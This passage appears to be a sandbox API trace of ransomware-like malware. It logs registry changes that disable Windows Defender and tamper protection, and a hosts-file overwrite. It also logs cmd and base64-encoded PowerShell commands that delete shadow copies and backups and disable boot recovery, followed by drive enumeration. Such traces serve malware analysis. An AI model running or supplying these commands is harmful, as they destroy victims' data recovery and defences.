lpData=0x19fdac*=0x1) returned 0x0 [0144.676] RegSetValueExW (in: hKey=0x28c, lpValueName="undockwithoutlogon", Reserved=0x0, dwType=0x4, lpData=0x19fdac*=0x1, cbData=0x4 | out: lpData=0x19fdac*=0x1) returned 0x0 [0144.676] RegSetValueExW (in: hKey=0x28c, lpValueName="ValidateAdminCodeSignatures", Reserved=0x0, dwType=0x4, lpData=0x19fdac*=0x0, cbData=0x4 | out: lpData=0x19fdac*=0x0) returned 0x0 [0144.676] RegCloseKey (hKey=0x28c) returned 0x0 [0144.676] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x19fda4, lpdwDisposition=0x19fda0 | out: phkResult=0x19fda4*=0x28c, lpdwDisposition=0x19fda0*=0x2) returned 0x0 [0144.677] RegSetValueExW (in: hKey=0x28c, lpValueName="DisableAntiSpyware", Reserved=0x0, dwType=0x4, lpData=0x19fdac*=0x1, cbData=0x4 | out: lpData=0x19fdac*=0x1) returned 0x0 [0144.677] RegCloseKey (hKey=0x28c) returned 0x0 [0144.677] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Features", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x19fda4, lpdwDisposition=0x19fda0 | out: phkResult=0x19fda4*=0x28c, lpdwDisposition=0x19fda0*=0x1) returned 0x0 [0144.677] RegSetValueExW (in: hKey=0x28c, lpValueName="TamperProtection", Reserved=0x0, dwType=0x4, lpData=0x19fdac*=0x0, cbData=0x4 | out: lpData=0x19fdac*=0x0) returned 0x0 [0144.678] RegCloseKey (hKey=0x28c) returned 0x0 [0144.678] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="cmd.exe", lpParameters="/C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0145.220] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="powershell.exe", lpParameters="-e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0146.361] DeleteFileW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\host" (normalized: "c:\\windows\\system32\\drivers\\etc\\host")) returned 0 [0146.361] GetLastError () returned 0x2 [0146.361] GetFileAttributesW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\host" (normalized: "c:\\windows\\system32\\drivers\\etc\\host")) returned 0xffffffff [0146.362] SetLastError (dwErrCode=0x2) [0146.362] CreateFileW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\host" (normalized: "c:\\windows\\system32\\drivers\\etc\\host"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0146.363] GetFileType (hFile=0x294) returned 0x1 [0146.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="127.0.0.1 validation.sls.microsoft.com", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0146.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="127.0.0.1 validation.sls.microsoft.com", cchWideChar=38, lpMultiByteStr=0x25d1d3c, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="127.0.0.1 validation.sls.microsoft.com", lpUsedDefaultChar=0x0) returned 38 [0146.363] WriteFile (in: hFile=0x294, lpBuffer=0x539a28*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x19fd9c, lpOverlapped=0x0 | out: lpBuffer=0x539a28*, lpNumberOfBytesWritten=0x19fd9c*=0x28, lpOverlapped=0x0) returned 1 [0146.364] CloseHandle (hObject=0x294) returned 1 [0146.366] QueryPerformanceCounter (in: lpPerformanceCount=0x19fd84 | out: lpPerformanceCount=0x19fd84*=24115871270) returned 1 [0146.367] GetCPInfo (in: CodePage=0xfde9, lpCPInfo=0x19fd20 | out: lpCPInfo=0x19fd20) returned 1 [0146.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="¾Õ0¡Í¸-9\x03\x9fÏàU9µø×ÇX\x9d=ä\x04¥…õ\x158ý\x04Ás8Ü\x9c+KMP8h\x1eP\x9fËé\x8fÍôØ¡M½'EÁW§\x9foTÒ\x88\x9eâ]¡r­\x8e\x8d@Z]\x9c=k¸\x058õ´ß;\x88¢D\x86Ò\x7fô\x1c\x89\x9a\x0cf§ß+51ÞO³9*8Ý\x9c4e¸…÷Ù¸\"[H×\x9c9:üq\x97aé\x11-üè\x88Ò\x02&\x07…2²\x97\x89\x05~À\x15Þ-\x06\x98e\x93\x91ø¡ü\x91<ç\x91j&g\x02@\x12c×æ\x1c\x80rr¬,^\x17Ýh\x12Zqk^\x9a\x0e \x9d°ü9îñ¼×\x1d\x12¶\x10¦CÉ¥[\x11fB<ëþEèül961ohl¬¢/aðéÆ\x11\x1c½w9B×\x1cÂ\x1e4z\x13Í:øÞ4@2\x14\x07zl3\x81\x11¦\x16\x02gõ¾ú\x91\x9a73Þ\x97\x93Q\x9aTLÂÅ\x92\x01\x862\x06.lúQ\x92?\x11^J¾qå8\x8bü\x1c#Ùð\x83\x93\x88>xaPf\x1dü…Í<ÿ+¤\x9eÏ\x06\x9eD«¡61rÞgñõ\x97¢ó$ìm\x13\x1e\x8aÿÛ:\x84÷müqÊÑÇJãyc\x0e\x0eYi¡kA\x15P\x031Tó\x1c2ä\\\x014$\x9c=¹oEj&óµR\x1dér×\x09ÒxÜ\x9d8ü9:dYîü\x15ókîé^Ãƪ\x15\x9a6\x89üy6\x12Q\x16o\x09®k\x89f\x92Á&«$Í\x88T£bx\x8aÄ\x16\x0b\x157z9Ð9\x06\x94#\x8aï\x01+AôVeü\\¸\x02b<~ÏÅq 1D\x03\x0e¸\x0bA/ÇÒ~·¬<\x9dú8\x012\x1eøñÁÇ\x9dd£\x05¶my\x13Ùoí×xQ\x7fô\x91@\x8eÄèMj\x0b\x03\x9c~úÛË;\x1ez#p\x8a4À\x97Á\x9a9\x0bDk\x8bÎ\x95k…Þ·z.Ϩ¦\x98Dá\x9ed\x1cje;\x891«\x8eÝÜóÁÄÞ\x16ÝP\x0b®\x0eÒ7ôÆ\x99_…\x90¸&Æð\x9c\x1d2\x09b\x1eA±\x1aR¹Â\x91·Põï¸qpXóó3æ\x8d\x9dÔzßð|fPÂ2\x9bq\x82·\x0bV0", cchWideChar=1190, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1803 [0146.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="¾Õ0¡Í¸-9\x03\x9fÏàU9µø×ÇX\x9d=ä\x04¥…õ\x158ý\x04Ás8Ü\x9c+KMP8h\x1eP\x9fËé\x8fÍôØ¡M½'EÁW§\x9foTÒ\x88\x9eâ]¡r­\x8e\x8d@Z]\x9c=k¸\x058õ´ß;\x88¢D\x86Ò\x7fô\x1c\x89\x9a\x0cf§ß+51ÞO³9*8Ý\x9c4e¸…÷Ù¸\"[H×\x9c9:üq\x97aé\x11-üè\x88Ò\x02&\x07…2²\x97\x89\x05~À\x15Þ-\x06\x98e\x93\x91ø¡ü\x91<ç\x91j&g\x02@\x12c×æ\x1c\x80rr¬,^\x17Ýh\x12Zqk^\x9a\x0e \x9d°ü9îñ¼×\x1d\x12¶\x10¦CÉ¥[\x11fB<ëþEèül961ohl¬¢/aðéÆ\x11\x1c½w9B×\x1cÂ\x1e4z\x13Í:øÞ4@2\x14\x07zl3\x81\x11¦\x16\x02gõ¾ú\x91\x9a73Þ\x97\x93Q\x9aTLÂÅ\x92\x01\x862\x06.lúQ\x92?\x11^J¾qå8\x8bü\x1c#Ùð\x83\x93\x88>xaPf\x1dü…Í<ÿ+¤\x9eÏ\x06\x9eD«¡61rÞgñõ\x97¢ó$ìm\x13\x1e\x8aÿÛ:\x84÷müqÊÑÇJãyc\x0e\x0eYi¡kA\x15P\x031Tó\x1c2ä\\\x014$\x9c=¹oEj&óµR\x1dér×\x09ÒxÜ\x9d8ü9:dYîü\x15ókîé^Ãƪ\x15\x9a6\x89üy6\x12Q\x16o\x09®k\x89f\x92Á&«$Í\x88T£bx\x8aÄ\x16\x0b\x157z9Ð9\x06\x94#\x8aï\x01+AôVeü\\¸\x02b<~ÏÅq 1D\x03\x0e¸\x0bA/ÇÒ~·¬<\x9dú8\x012\x1eøñÁÇ\x9dd£\x05¶my\x13Ùoí×xQ\x7fô\x91@\x8eÄèMj\x0b\x03\x9c~úÛË;\x1ez#p\x8a4À\x97Á\x9a9\x0bDk\x8bÎ\x95k…Þ·z.Ϩ¦\x98Dá\x9ed\x1cje;\x891«\x8eÝÜóÁÄÞ\x16ÝP\x0b®\x0eÒ7ôÆ\x99_…\x90¸&Æð\x9c\x1d2\x09b\x1eA±\x1aR¹Â\x91·Põï¸qpXóó3æ\x8d\x9dÔzßð|fPÂ2\x9bq\x82·\x0bV0", cchWideChar=1190, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1803 [0146.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="¾Õ0¡Í¸-9\x03\x9fÏàU9µø×ÇX\x9d=ä\x04¥…õ\x158ý\x04Ás8Ü\x9c+KMP8h\x1eP\x9fËé\x8fÍôØ¡M½'EÁW§\x9foTÒ\x88\x9eâ]¡r­\x8e\x8d@Z]\x9c=k¸\x058õ´ß;\x88¢D\x86Ò\x7fô\x1c\x89\x9a\x0cf§ß+51ÞO³9*8Ý\x9c4e¸…÷Ù¸\"[H×\x9c9:üq\x97aé\x11-üè\x88Ò\x02&\x07…2²\x97\x89\x05~À\x15Þ-\x06\x98e\x93\x91ø¡ü\x91<ç\x91j&g\x02@\x12c×æ\x1c\x80rr¬,^\x17Ýh\x12Zqk^\x9a\x0e \x9d°ü9îñ¼×\x1d\x12¶\x10¦CÉ¥[\x11fB<ëþEèül961ohl¬¢/aðéÆ\x11\x1c½w9B×\x1cÂ\x1e4z\x13Í:øÞ4@2\x14\x07zl3\x81\x11¦\x16\x02gõ¾ú\x91\x9a73Þ\x97\x93Q\x9aTLÂÅ\x92\x01\x862\x06.lúQ\x92?\x11^J¾qå8\x8bü\x1c#Ùð\x83\x93\x88>xaPf\x1dü…Í<ÿ+¤\x9eÏ\x06\x9eD«¡61rÞgñõ\x97¢ó$ìm\x13\x1e\x8aÿÛ:\x84÷müqÊÑÇJãyc\x0e\x0eYi¡kA\x15P\x031Tó\x1c2ä\\\x014$\x9c=¹oEj&óµR\x1dér×\x09ÒxÜ\x9d8ü9:dYîü\x15ókîé^Ãƪ\x15\x9a6\x89üy6\x12Q\x16o\x09®k\x89f\x92Á&«$Í\x88T£bx\x8aÄ\x16\x0b\x157z9Ð9\x06\x94#\x8aï\x01+AôVeü\\¸\x02b<~ÏÅq 1D\x03\x0e¸\x0bA/ÇÒ~·¬<\x9dú8\x012\x1eøñÁÇ\x9dd£\x05¶my\x13Ùoí×xQ\x7fô\x91@\x8eÄèMj\x0b\x03\x9c~úÛË;\x1ez#p\x8a4À\x97Á\x9a9\x0bDk\x8bÎ\x95k…Þ·z.Ϩ¦\x98Dá\x9ed\x1cje;\x891«\x8eÝÜóÁÄÞ\x16ÝP\x0b®\x0eÒ7ôÆ\x99_…\x90¸&Æð\x9c\x1d2\x09b\x1eA±\x1aR¹Â\x91·Põï¸qpXóó3æ\x8d\x9dÔzßð|fPÂ2\x9bq\x82·\x0bV0", cchWideChar=1190, lpMultiByteStr=0x256bc48, cbMultiByte=1803, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¾Ã\x950¡Ã\x8d¸-9\x03Â\x9fÃ\x8fàU9µøÃ\x97Ã\x87XÂ\x9d=ä\x04¥…õ\x158ý\x04Ã\x81s8Ã\x9cÂ\x9c+KMP8h\x1ePÂ\x9fÃ\x8béÂ\x8fÃ\x8dôÃ\x98¡M½'EÃ\x81W§Â\x9foTÃ\x92Â\x88Â\x9eâ]¡r­Â\x8eÂ\x8d@Z]Â\x9c=k¸\x058õ´Ã\x9f;Â\x88¢DÂ\x86Ã\x92\x7fô\x1cÂ\x89Â\x9a\x0cf§Ã\x9f+51Ã\x9eO³9*8Ã\x9dÂ\x9c4e¸…÷Ã\x99¸\"[HÃ\x97Â\x9c9:üqÂ\x97aé\x11-üèÂ\x88Ã\x92\x02&\x07…2²Â\x97Â\x89\x05~Ã\x80\x15Ã\x9e-\x06Â\x98eÂ\x93Â\x91ø¡üÂ\x91<çÂ\x91j&g\x02@\x12cÃ\x97æ\x1cÂ\x80rr¬,^\x17Ã\x9dh\x12Zqk^Â\x9a\x0e Â\x9d°ü9îñ¼Ã\x97\x1d\x12¶\x10¦CÃ\x89Â¥[\x11fB<ëþEèül961ohl¢/aðéÃ\x86\x11\x1c½w9BÃ\x97\x1cÃ\x82\x1e4z\x13Ã\x8d:øÃ\x9e4@2\x14\x07zl3Â\x81\x11¦\x16\x02gõ¾úÂ\x91Â\x9a73Ã\x9eÂ\x97Â\x93QÂ\x9aTLÃ\x82ÅÂ\x92\x01Â\x862\x06.lúQÂ\x92?\x11^J¾qÃ¥8Â\x8bü\x1c#Ã\x99ðÂ\x83Â\x93Â\x88>xaPf\x1dü…Ã\x8d<ÿ+¤Â\x9eÃ\x8f\x06Â\x9eD«¡61rÃ\x9egñõÂ\x97¢ó$ìm\x13\x1eÂ\x8aÿÃ\x9b:Â\x84÷müqÃ\x8aÃ\x91Ã\x87Jãyc\x0e\x0eYi¡kA\x15P\x031Tó\x1c2ä\\\x014$Â\x9c=¹oEj&óµR\x1dérÃ\x97\x09Ã\x92xÃ\x9cÂ\x9d8ü9:dYîü\x15ókîé^Ã\x83Ã\x86ª\x15Â\x9a6Â\x89üy6\x12Q\x16o\x09®kÂ\x89fÂ\x92Ã\x81&«$Ã\x8dÂ\x88T£bxÂ\x8aÃ\x84\x16\x0b\x157z9Ã\x909\x06Â\x94#Â\x8aï\x01+AôVeü\\¸\x02b<~Ã\x8fÅq 1D\x03\x0e¸\x0bA/Ã\x87Ã\x92~·¬<Â\x9dú8\x012\x1eøñÃ\x81Ã\x87Â\x9dd£\x05¶my\x13Ã\x99oíÃ\x97xQ\x7fôÂ\x91@Â\x8eÃ\x84èMj\x0b\x03Â\x9c~úÃ\x9bÃ\x8b;\x1ez#pÂ\x8a4Ã\x80Â\x97Ã\x81Â\x9a9\x0bDkÂ\x8bÃ\x8eÂ\x95k…Ã\x9e·z.Ã\x8f¨¦Â\x98DáÂ\x9ed\x1cje;Â\x891«Â\x8eÃ\x9dÃ\x9cóÃ\x81Ã\x84Ã\x9e\x16Ã\x9dP\x0b®\x0eÃ\x927ôÃ\x86Â\x99_…Â\x90¸&Ã\x86ðÂ\x9c\x1d2\x09b\x1eA±\x1aR¹Ã\x82Â\x91·Põï¸qpXóó3æÂ\x8dÂ\x9dÃ\x94zÃ\x9fð|fPÃ\x822Â\x9bqÂ\x82·\x0bV0", lpUsedDefaultChar=0x0) returned 1803 [0146.368] GetCurrentThreadId () returned 0xab4 [0146.368] GetCurrentThreadId () returned 0xab4 [0146.368] GetCurrentThreadId () returned 0xab4 [0146.368] GetCurrentThreadId () returned 0xab4 [0146.368] GetCurrentThreadId () returned 0xab4 [0146.368] GetCurrentThreadId () returned 0xab4 [0146.368] QueryPerformanceCounter (in: lpPerformanceCount=0x19fd84 | out: lpPerformanceCount=0x19fd84*=24116047277) returned 1 [0146.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x80×\x80J\x02\x9d&Å34»r]·\x16¼9\x8cÉ\x03k\x89qB,|JB$b(ïË/\x1aË\x9bË2\x05N×aVl2­\x1a·\x10u\x8ac>=Ïü\x0b\x03\x89x\x0bU\x98\x80De\x0b\x86ÂÂkT±\x10iî\x06\x02-Ëÿ\x11\x13ª<\x0c\x14aùlz|ø\x97\x98>\x9d…+Ê[PÍg\x0bhRÊ\x1eµÊ-Þ^\x01ù\x1eòÁ\x89¹M<\x8c]eK\x9e\x03üÜ,ðí1´pê)\x97\x14Ü\x89\x9aͶHv\x1e~\x8cx\x09Y\x13E¸)Ll3Íhà\x028Â*[àÍí\x91î\\Ô¹\x97Ã\x80ÄÝz_*°\"\x7f¨\x9e=Àjï°\x9bPË\x91\x91q\x1eä\x94÷Qã\x0f\x0eÔ#\x84\x07PBÎQÂ4ColÞK~Ã\"ç¾¹\x80ÒÔ]6ËEn-\x03¼#\x97Ãu»üqj\x86æõ¨…C\x0fJ¡\x0cÙql÷\x80C\x9d¯º=Ë\x96=j\x93¸\x05r\x16¹\x82ºh]\x0c>\x1e\x18éE\x86¯eei£Ð\x8e>\x9e\x1drÇÕÇè\x11\x1c\x91×¥î½ä\x89¦:\x9e\x7fõ", cchWideChar=320, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 473 [0146.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x80×\x80J\x02\x9d&Å34»r]·\x16¼9\x8cÉ\x03k\x89qB,|JB$b(ïË/\x1aË\x9bË2\x05N×aVl2­\x1a·\x10u\x8ac>=Ïü\x0b\x03\x89x\x0bU\x98\x80De\x0b\x86ÂÂkT±\x10iî\x06\x02-Ëÿ\x11\x13ª<\x0c\x14aùlz|ø\x97\x98>\x9d…+Ê[PÍg\x0bhRÊ\x1eµÊ-Þ^\x01ù\x1eòÁ\x89¹M<\x8c]eK\x9e\x03üÜ,ðí1´pê)\x97\x14Ü\x89\x9aͶHv\x1e~\x8cx\x09Y\x13E¸)Ll3Íhà\x028Â*[àÍí\x91î\\Ô¹\x97Ã\x80ÄÝz_*°\"\x7f¨\x9e=Àjï°\x9bPË\x91\x91q\x1eä\x94÷Qã\x0f\x0eÔ#\x84\x07PBÎQÂ4ColÞK~Ã\"ç¾¹\x80ÒÔ]6ËEn-\x03¼#\x97Ãu»üqj\x86æõ¨…C\x0fJ¡\x0cÙql÷\x80C\x9d¯º=Ë\x96=j\x93¸\x05r\x16¹\x82ºh]\x0c>\x1e\x18éE\x86¯eei£Ð\x8e>\x9e\x1drÇÕÇè\x11\x1c\x91×¥î½ä\x89¦:\x9e\x7fõ", cchWideChar=320, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 473 [0146.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x80×\x80J\x02\x9d&Å34»r]·\x16¼9\x8cÉ\x03k\x89qB,|JB$b(ïË/\x1aË\x9bË2\x05N×aVl2­\x1a·\x10u\x8ac>=Ïü\x0b\x03\x89x\x0bU\x98\x80De\x0b\x86ÂÂkT±\x10iî\x06\x02-Ëÿ\x11\x13ª<\x0c\x14aùlz|ø\x97\x98>\x9d…+Ê[PÍg\x0bhRÊ\x1eµÊ-Þ^\x01ù\x1eòÁ\x89¹M<\x8c]eK\x9e\x03üÜ,ðí1´pê)\x97\x14Ü\x89\x9aͶHv\x1e~\x8cx\x09Y\x13E¸)Ll3Íhà\x028Â*[àÍí\x91î\\Ô¹\x97Ã\x80ÄÝz_*°\"\x7f¨\x9e=Àjï°\x9bPË\x91\x91q\x1eä\x94÷Qã\x0f\x0eÔ#\x84\x07PBÎQÂ4ColÞK~Ã\"ç¾¹\x80ÒÔ]6ËEn-\x03¼#\x97Ãu»üqj\x86æõ¨…C\x0fJ¡\x0cÙql÷\x80C\x9d¯º=Ë\x96=j\x93¸\x05r\x16¹\x82ºh]\x0c>\x1e\x18éE\x86¯eei£Ð\x8e>\x9e\x1drÇÕÇè\x11\x1c\x91×¥î½ä\x89¦:\x9e\x7fõ", cchWideChar=320, lpMultiByteStr=0x255bd18, cbMultiByte=473, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Â\x80Ã\x97Â\x80J\x02Â\x9d&Å34»r]·\x16¼9Â\x8cÃ\x89\x03kÂ\x89qB,|JB$b(ïÃ\x8b/\x1aÃ\x8bÂ\x9bÃ\x8b2\x05NÃ\x97aVl2­\x1a·\x10uÂ\x8ac>=Ã\x8fü\x0b\x03Â\x89x\x0bUÂ\x98Â\x80De\x0bÂ\x86Ã\x82Ã\x82kT±\x10iî\x06\x02-Ã\x8bÿ\x11\x13ª<\x0c\x14aùlz|øÂ\x97Â\x98>Â\x9d…+Ã\x8a[PÃ\x8dg\x0bhRÃ\x8a\x1eµÃ\x8a-Ã\x9e^\x01ù\x1eòÃ\x81Â\x89¹M<Â\x8c]eKÂ\x9e\x03üÃ\x9c,ðí1´pê)Â\x97\x14Ã\x9cÂ\x89Â\x9aÃ\x8d¶Hv\x1e~Â\x8cx\x09Y\x13E¸)Ll3Ã\x8dhà\x028Ã\x82*[àÃ\x8díÂ\x91î\\Ã\x94¹Â\x97Ã\x83Â\x80Ã\x84Ã\x9dz_*°\"\x7f¨Â\x9e=Ã\x80jï°Â\x9bPÃ\x8bÂ\x91Â\x91q\x1eäÂ\x94÷Qã\x0f\x0eÃ\x94#Â\x84\x07PBÃ\x8eQÃ\x824ColÃ\x9eK~Ã\x83\"ç¾¹Â\x80Ã\x92Ã\x94]6Ã\x8bEn-\x03¼#Â\x97Ã\x83uȟqjÂ\x86æõ¨…C\x0fJ¡\x0cÃ\x99ql÷Â\x80CÂ\x9d¯º=Ã\x8bÂ\x96=jÂ\x93¸\x05r\x16¹Â\x82ºh]\x0c>\x1e\x18éEÂ\x86¯eei£Ã\x90Â\x8e>Â\x9e\x1drÃ\x87Ã\x95Ã\x87è\x11\x1cÂ\x91Ã\x97¥î½äÂ\x89¦:Â\x9e\x7fõjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 473 [0146.369] GetCurrentThreadId () returned 0xab4 [0146.369] GetCurrentThreadId () returned 0xab4 [0146.369] GetCurrentThreadId () returned 0xab4 [0146.369] GetCurrentThreadId () returned 0xab4 [0146.369] GetCurrentThreadId () returned 0xab4 [0146.369] GetCurrentThreadId () returned 0xab4 [0146.369] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x19f5a4, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0146.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Steam" (normalized: "c:\\program files\\steam")) returned 0xffffffff [0146.369] GetLastError () returned 0x2 [0146.369] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x19f5a4, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0146.369] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Steam" (normalized: "c:\\program files (x86)\\steam")) returned 0xffffffff [0146.369] GetLastError () returned 0x2 [0146.377] GetFileAttributesW (lpFileName="A:\\" (normalized: "a:")) returned 0xffffffff [0146.377] GetLastError () returned 0x3 [0146.384] GetFileAttributesW (lpFileName="B:\\" (normalized: "b:")) returned 0xffffffff [0146.384] GetLastError () returned 0x3 [0146.391] GetFileAttributesW (lpFileName="D:\\" (normalized: "d:")) returned 0xffffffff [0146.391] GetLastError () returned 0x3 [0146.398] GetFileAttributesW (lpFileName="E:\\" (normalized: "e:")) returned 0xffffffff [0146.398] GetLastError () returned 0x3 [0146.405] GetFileAttributesW (lpFileName="F:\\" (normalized: "f:")) returned 0xffffffff [0146.405] GetLastError () returned 0x3 [0146.410] GetFileAttributesW (lpFileName="G:\\" (normalized: "g:")) returned 0xffffffff [0146.515] GetLastError () returned 0x3 [0146.520] GetFileAttributesW (lpFileName="H:\\" (normalized: "h:")) returned 0xffffffff [0146.520] GetLastError () returned 0x3 [0146.525] GetFileAttributesW (lpFileName="I:\\" (normalized: "i:")) returned 0xffffffff [0146.525] GetLastError () returned 0x3 [0146.532] GetFileAttributesW (lpFileName="J:\\" (normalized: "j:")) returned 0xffffffff [0146.532] GetLastError () returned 0x3 [0146.538] GetFileAttributesW (lpFileName="K:\\" (normalized: "k:")) returned 0xffffffff [0146.538] GetLastError () returned 0x3 [0146.542] GetFileAttributesW (lpFileName="L:\\" (normalized: "l:")) returned 0xffffffff [0146.543] GetLastError () returned 0x3 [0146.547] GetFileAttributesW (lpFileName="M:\\" (normalized: "m:")) returned 0xffffffff [0146.637] GetLastError () returned 0x3 [0146.642] GetFileAttributesW (lpFileName="N:\\" (normalized: "n:")) returned 0xffffffff [0146.642] GetLastError () returned 0x3 [0146.647] GetFileAttributesW (lpFileName="O:\\" (normalized: "o:")) returned 0xffffffff [0146.647] GetLastError () returned 0x3 [0146.651] GetFileAttributesW (lpFileName="P:\\" (normalized: "p:")) returned 0xffffffff [0146.651] GetLastError () returned 0x3 [0146.656] GetFileAttributesW (lpFileName="Q:\\" (normalized: "q:")) returned 0xffffffff [0146.656] GetLastError () returned 0x3 [0146.661] GetFileAttributesW (lpFileName="R:\\" (normalized: "r:")) returned 0xffffffff [0146.661] 